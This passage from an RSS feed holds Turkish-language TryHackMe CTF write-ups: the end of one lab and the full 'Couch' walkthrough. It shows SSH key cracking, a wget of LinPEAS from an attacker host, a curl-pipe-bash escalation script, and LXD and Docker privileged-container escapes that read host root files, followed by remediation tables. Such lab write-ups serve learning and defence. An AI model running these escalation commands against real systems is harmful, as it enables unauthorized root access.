kullanıcısı ile bağlanıyorum:</p><pre>ssh -i secretKey john@[TARGET_IP]</pre><p>Parola: letmein</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*x2E7wrs9CzNquP8lBzFaZg.png" /></figure><p><strong>Başarılı!</strong> Sistemde john kullanıcısı olarak bağlandık! 🎉</p><blockquote><strong><em>OWASP A02:2021 — Cryptographic Failures:</em></strong><em> SSH key’lerin zayıf parolalarla korunması ve bu key’lerin web üzerinden erişilebilir olması ciddi bir güvenlik açığıdır.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1552.004 — Private Keys:</em></strong><em> Saldırgan, özel anahtarları keşfeder ve yetkisiz erişim sağlamak için kullanır.</em></blockquote><h3>4. Yetki Yükseltme</h3><p><strong>SUID ve Grup Analizi<br></strong>Önce SUID binary’leri kontrol ediyorum:</p><pre>find /usr -perm -4000 2&gt;/dev/null</pre><p>SUID biti olan birçok dosya var ama hemen kullanabileceğim bir şey göremiyorum. LinPEAS çalıştıralım:</p><pre># Ana makinede<br>python3 -m http.server 80<br><br># Hedef makinede<br>wget http://[ATTACKER_IP]/linpeas.sh<br>chmod +x linpeas.sh<br>./linpeas.sh</pre><p>LinPEAS çıktısını incelerken dikkat çeken bir şey görüyorum:</p><pre>uid=1000(john) gid=1000(john) groups=1000(john),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)</pre><p><strong>LXD!</strong> john kullanıcısı lxd grubunda! Bu çok kritik çünkü LXD container&#39;ları yönetebilir ve privileged container oluşturarak host dosya sistemine erişebilir.</p><blockquote><strong><em>Not:</em></strong><em> LXD, Linux container yönetim aracıdır. </em><em>lxd grubuna üye kullanıcılar container oluşturabilir ve yönetebilir. </em><em>--privileged flag&#39;i ile container&#39;lar host üzerinde root yetkileriyle çalışabilir.</em></blockquote><p><strong>LXD Exploitation<br></strong>LXD privilege escalation için hazır script kullanacağım. Alpine Linux imajı oluşturup import ediyorum:</p><pre># S4vitar/vowkin lxd.sh scripti<br>curl -s https://raw.githubusercontent.com/s4vitar/lxd_privilege_escalation/master/lxd.sh | bash</pre><p>Veya manuel olarak:</p><pre># Alpine imajı oluştur<br>lxc image import alpine.tar.gz --alias alpine<br><br># Privileged container oluştur<br>lxc init alpine privesc -c security.privileged=true<br><br># Host dosya sistemini container&#39;a mount et<br>lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true<br><br># Container&#39;a gir<br>lxc start privesc<br>lxc exec privesc /bin/sh</pre><p>Container içindeyiz! Şimdi host’un root dizinine bakalım:<br>cat /mnt/root/root/root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*3x1bHw6E2S-LzX5OxBFTiA.png" /></figure><p><strong>Root flag ele geçirildi!</strong></p><p><strong>Neden Bu Çalıştı?</strong></p><ol><li>john kullanıcısı lxd grubuna üyeydi</li><li>LXD container oluşturma ve yönetme yetkisine sahipti</li><li>--privileged=true parametresiyle container, host kernel&#39;i üzerinde root yetkileriyle çalıştı</li><li>Host dosya sistemini (/) container içine (/mnt/root) mount ederek root dosyalarına erişim sağladık</li></ol><blockquote><strong><em>OWASP A05:2021 — Security Misconfiguration:</em></strong><em> Kullanıcıların gereksiz gruplara (lxd) eklenmesi ve privileged container oluşturma yetkisi kritik bir güvenlik açığıdır.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1610 — Deploy Container:</em></strong><em> Saldırgan, container teknolojilerini kötüye kullanarak privilege escalation sağlar.</em></blockquote><h3>5. Sonuç ve Çözüm</h3><p>Bu makinede birbirini takip eden keşifler zinciriyle ilerledik:</p><p><strong>Saldırı Zinciri:</strong></p><pre>                                  HTML yorumu (john) <br>                                         ↓ <br>                                  /secret (SSH key) <br>                                         ↓ <br>                               john cracking (letmein) <br>                                         ↓ <br>                                     SSH login <br>                                         ↓ <br>                                 LinPEAS (lxd group) <br>                                         ↓ <br>                                 privileged container <br>                                         ↓ <br>                                        root</pre><p><strong>Neden Bu Çalıştı?</strong></p><ol><li><strong>Information Disclosure:</strong> HTML yorumunda kullanıcı adı (john) ifşa edildi</li><li><strong>Sensitive File Exposure:</strong> /secret dizini web&#39;den erişilebilir durumdaydı</li><li><strong>Weak Key Password:</strong> SSH key’in parolası letmein gibi kırılması kolay bir şifreydi</li><li><strong>Excessive Group Membership:</strong> john kullanıcısı gereksiz şekilde lxd grubundaydı</li><li><strong>Privileged Container Risk:</strong> LXD privileged container oluşturma izni vardı</li></ol><pre><br>| **Bulgu**                       | **Risk**    | **CVSS** | **Teknik Ref.** | **Çözüm Önerisi** |<br>|-----------|----------|----------|-------------|----------|-----------------|--------------------------------------------------------------------------|<br>| **HTML Comment Disclosure**     | 🟡 Medium   | 5.3      | OWASP A01 ATT&amp;CK T1083 | HTML yorumlarında hassas bilgi (kullanıcı adı) bulunmamalı.       |<br>| **Exposed SSH Private Key**     | 🔴 Critical | 9.8      | OWASP A02 ATT&amp;CK T1552 | SSH key&#39;ler web dizinlerinde tutulmamalı, şifre korumalı olmalı.  |<br>| **Weak Key Passphrase**         | 🟠 High     | 7.5      | OWASP A02 CWE-521      | SSH key parolaları en az 12 karakter, karmaşık olmalı.            |<br>| **LXD Group Membership**        | 🔴 Critical | 9.8      | OWASP A05 ATT&amp;CK T1610 | Kullanıcılar sadece gerekli durumlarda `lxd` grubuna eklenmeli.   |<br>| **Privileged Container**        | 🔴 Critical | 9.8      | OWASP A05              | Privileged container oluşturma yetkisi kısıtlanmalı.              |</pre><p><strong>Öğrenilen Dersler:</strong></p><ol><li><strong>HTML yorumları risklidir</strong> — Geliştirici yorumlarında kullanıcı adı, IP gibi bilgiler olmamalı</li><li><strong>/secret dizini != güvenli</strong> — Web’den erişilebilen her yer halka açıktır</li><li><strong>SSH key şifreleri kritiktir</strong> — Zayıf parola = Key’i korumuyor</li><li><strong>Grup üyelikleri kontrol edilmeli</strong> — lxd, docker gibi gruplar tehlikelidir</li><li><strong>LinPEAS vazgeçilmez</strong> — Otomatik tarama çok şey gösterir</li></ol><p><strong>Kullanılan Araçlar:</strong></p><ul><li>nmap - Ağ taraması</li><li>ffuf - Web dizin keşfi</li><li>ssh2john - SSH key hash dönüştürme</li><li>john - Parola kırma</li><li>ssh - Bağlantı</li><li>LinPEAS - Privilege escalation taraması</li><li>lxc/lxd - Container exploitation</li></ul><p>“House of danak” sunucusu ele geçirildi! Basit bir HTML yorumu ve unutulmuş bir SSH key bize kapıyı açtı.</p><p><em>Write-up by Metin Kadir Kerpiç</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eda954f89f3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Couch]]></title>
            <link>https://medium.com/@mkk013/tryhackme-couch-67fa91d22b11?source=rss-d3716ecf34d4------2</link>
            <guid isPermaLink="false">https://medium.com/p/67fa91d22b11</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Metin Kadir Kerpiç]]></dc:creator>
            <pubDate>Sun, 08 Mar 2026 13:46:00 GMT</pubDate>
            <atom:updated>2026-03-08T13:46:00.399Z</atom:updated>
            <content:encoded><![CDATA[<p>TryHackMe — Couch</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*rEM06blUbVbly_tC" /><figcaption>a very comfy red couch</figcaption></figure><h3>1. Makine Bilgisi</h3><ul><li><strong>Makine Adı</strong>: Couch</li><li><strong>Zorluk</strong>: Easy</li><li><strong>OS</strong>: Ubuntu Linux</li></ul><h3>2. Enumeration</h3><p><strong>2.1 Port Tarama (nmap)</strong></p><p>Önce <strong>nmap</strong> ile hedefi tarıyorum. Eski bir sunucu olduğu için tüm portları kontrol etmek istiyorum:</p><pre>nmap -sCV -p- 10.65.182.22</pre><ul><li>-sC: Default scriptleri çalıştırır (servis keşfi için)</li><li>-sV: Servis versiyonlarını tespit eder</li><li>-p-: Tüm 65535 portu tarar</li></ul><pre>PORT     STATE SERVICE<br>22/tcp   open  ssh<br>5984/tcp open  couchdb 1.6.1</pre><p>5984 portunda CouchDB çalışıyor ve sürüm <strong>1.6.1</strong>!<strong> </strong>CouchDB 1.6.1 modern güvenlik standartlarından yoksundur. Özellikle “Admin Party” modu varsayılan olarak aktif gelir ve kimlik doğrulama gerektirmez.</p><h4>2.2 CouchDB Keşfi</h4><p>CouchDB’nin web arayüzüne bakalım. Ffuf ile API endpoint’lerini keşfediyorum:</p><pre>ffuf -u http://10.65.182.22:5984/FUZZ -w /usr/share/wordlists/dirb/common.txt</pre><pre>_all_dbs         [Status: 200]<br>_config          [Status: 200]<br>_utils           [Status: 301]<br>_users           [Status: 200]</pre><p><strong>/_utils</strong> dizini dikkatimi çekiyor — bu CouchDB’nin <strong>Futon</strong> web yönetim arayüzüdür. Herhangi bir kimlik doğrulama istemedi doğrudan admin paneline girdim! Bu “Admin Party” modu — CouchDB’de kimlik doğrulama devre dışı bırakıldığında oluşan bir durum. CouchDB’nin /_utils dizini üzerinden erişilen <strong>Futon</strong> yönetim paneline gidildiğinde sistemin &quot;Admin Party&quot; (Herkes Yönetici) modunda bırakıldığı görülmüştür. Bu yapılandırma hatası kimlik authentication olmadan herkesin veritabanını okumasına ve yazmasına olanak tanır.</p><p>Dokümanlar listeleniyor. Ve:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dmbnl0jwQS7WFKJ_47z8ug.png" /></figure><p><strong><em>Kullanıcı:</em></strong><em> atena <br></em><strong><em>Parola:</em></strong><em> t4qfzcc4qN#</em></p><h3>3. Sisteme Giriş ve Yetki Yükseltme</h3><p>Ele geçirdiğimiz kimlik bilgileri ile SSH yapıyorum:</p><pre>ssh atena@10.65.182.22</pre><p>Ne yazık ki <em>atena</em> kullanıcı yetki bakımından fakir. Bu yüzden yetki yükseltmek için LinPEAS çalıştırıyorum:</p><p>Binlerce satır arasından dikkat çeken <em>atena </em>kullanıcsının geçmişi oluyor:</p><pre>...<br>sudo deluser atena sudo<br>sudo -s<br>docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine<br>...<br></pre><p>Bu kod docker’ın <strong>2375</strong> portunda dinlediğini ve --privileged modda çalıştığını gösteriyor. Bu, herhangi bir kullanıcının root yetkileriyle container oluşturmasına ve host dosya sistemini container&#39;a mount etmesine olanak tanıyor</p><p><strong>Nasıl Çalışır?</strong></p><ol><li>Docker API 2375 portunda TCP üzerinden dinliyor</li><li>--privileged flag&#39;i container&#39;a tüm yetkileri veriyor</li><li>-v /:/mnt host&#39;un root dizinini container&#39;ın /mnt dizinine bağlıyor</li><li>Bu sayede container içinden /mnt/root/root.txt okuyabiliriz!</li></ol><pre>docker -H 127.0.0.1:2375 run --rm -it --privileged --net=host -v /:/mnt alpine</pre><p>Container içine düştüm! Şimdi host’un root dizinine bakalım:</p><pre>cat /mnt/root/root.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*EVGDu7m_KHH8V7P4wtzH-A.png" /></figure><p><strong>Neden Bu Çalıştı?<br></strong>Docker API’nin 2375 portunda TCP üzerinden dinlemesi güvenlik açığıdır. Normalde Docker soketi (unix:///var/run/docker.sock) sadece root ve docker grubu üyelerine açık olmalıdır. Ağ üzerinden erişilebilir Docker API, herhangi bir kullanıcının privileged container oluşturarak root erişimi elde etmesine olanak tanır.</p><blockquote><strong><em>OWASP A05:2021 — Security Misconfiguration:</em></strong><em> Docker API’nin ağa açık yapılandırılması ve privileged container oluşturma yetkisi kritik bir güvenlik açığıdır.</em></blockquote><blockquote><strong><em>ATT&amp;CK T1610 — Deploy Container:</em></strong><em> Saldırgan, container teknolojilerini kötüye kullanarak privilege escalation sağlar.</em></blockquote><h3>4. Sonuç ve Çözüm</h3><p>Bu makinede unutulmuş bir CouchDB sunucusu ve yanlış yapılandırılmış Docker API bir araya geldi:</p><p><strong>Saldırı Zinciri:</strong></p><pre>                            CouchDB Admin Party <br>                                      ↓<br>                      cleartext credentials → SSH access <br>                                      ↓<br>                                .bash_history       <br>                                      ↓<br>                              Docker API 2375 <br>                                      ↓ <br>                            privileged container <br>                                      ↓ <br>                                    root</pre><p><strong>Neden Bu Çalıştı?</strong></p><ol><li><strong>CouchDB kimlik doğrulama yoktu</strong> — “Admin Party” modu veritabanına tam erişim sağladı</li><li><strong>Veritabanında cleartext şifre</strong> — hassas bilgiler şifrelenmemişti</li><li><strong>Docker API ağa açıktı</strong> — 2375 portunda TCP dinliyordu</li><li><strong>Privileged container izni</strong> — normal kullanıcılar root yetkisiyle container oluşturabildi</li></ol><pre><br>| **Bulgu**                    | **Risk**    | CVSS| Teknik Ref.            | **Çözüm Önerisi** |<br>|-----------|------------------|-------------------|------------------------|-------------------|<br>| **CouchDB Anonymous Access** | 🔴 Critical | 9.8 | OWASP A07 ATT&amp;CK T1133 | Admin kullanıcısı oluşturulmalı, &quot;Admin Party&quot; devre dışı bırakılmalı.         |<br>| **Cleartext Credentials**    | 🔴 Critical | 9.1 | OWASP A02 CWE-312      | Şifreler bcrypt/Argon2 ile hashlenmeli, asla cleartext saklanmamalı.           |<br>| **Docker API Exposure**      | 🔴 Critical | 9.8 | OWASP A05 ATT&amp;CK T1610 | Docker API sadece localhost&#39;ta dinlemeli, TLS authentication kullanılmalı.     |<br>| **Privileged Containers**    | 🔴 Critical | 9.8 | OWASP A05              | Kullanıcılar sadece yetkili olduklarında privileged container oluşturabilmeli. |</pre><p><strong>Öğrenilen Dersler:</strong></p><ol><li><strong>Eski veritabanları tehlikelidir</strong> — Güncelleme almayan CouchDB gibi sistemler kritik açıklar barındırır</li><li><strong>Cleartext şifre saklama</strong> — ASLA! Hashlemek zorunludur</li><li><strong>.bash_history altın değerinde</strong> — Kullanıcı geçmişi kritik bilgiler içerir</li><li><strong>Docker API güvenliği</strong> — 2375 portu asla ağa açık olmamalı</li><li><strong>Privileged container riski</strong> — --privileged flag&#39;i çok dikkatli kullanılmalı</li></ol><p><strong>Kullanılan Araçlar:</strong></p><ul><li>nmap - Ağ taraması</li><li>ffuf - Web dizin/API keşfi</li><li>curl - CouchDB API sorguları</li><li>ssh - Sisteme erişim</li><li>docker - Privilege escalation</li></ul><p>Unutulan bir veritabanı ve açık Docker API — klasik ama tehlikeli kombinasyon!</p><p><em>Write-up by Metin Kadir Kerpiç</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=67fa91d22b11" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>